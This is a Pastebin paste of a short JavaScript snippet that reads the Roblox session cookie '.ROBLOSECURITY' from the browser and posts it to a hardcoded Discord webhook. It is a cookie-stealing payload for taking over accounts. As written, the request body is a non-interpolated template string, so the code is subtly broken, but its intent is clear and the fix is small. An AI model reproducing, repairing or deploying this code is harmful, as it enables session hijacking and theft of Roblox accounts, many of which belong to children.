Sc4pterR0bl0x

Untitled

Jul 27th, 2021
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. var xhr = new XMLHttpRequest();
  2. xhr.open("POST", "https://discord.com/api/webhooks/869473062192554028/Gge-V6HFDXoTiR5GAteUZC5nqhus2nk8lFbW_HU4yz12CqN_UxS3Fayj6huh954wt6By");
  3. xhr.setRequestHeader("Accept", "application/json");
  4. xhr.setRequestHeader("Content-Type", "application/json");
  5. function getCookie(cookieName) {
  6. var name = cookieName + "=";
  7. var ca = document.cookie.split(';');
  8. for (var i = 0; i < ca.length; i++) {
  9. var c = ca[i].trim();
  10. if ((c.indexOf(name)) == 0) {
  11. alert("found");
  12. return c.substr(name.length);
  13. }
  14.  
  15. }
  16. alert("not found");
  17. return null;
  18. }
  19. xhr.onreadystatechange = function () {
  20. if (xhr.readyState === 4) {
  21. console.log(xhr.status);
  22. console.log(xhr.responseText);
  23. }};
  24.  
  25. var data = `{
  26. "content": getCookie(".ROBLOSECURITY")
  27. }`;
  28.  
  29. xhr.send(data);
  30.  
  31.  
  32.  
Advertisement
Add Comment
Please, Sign In to add comment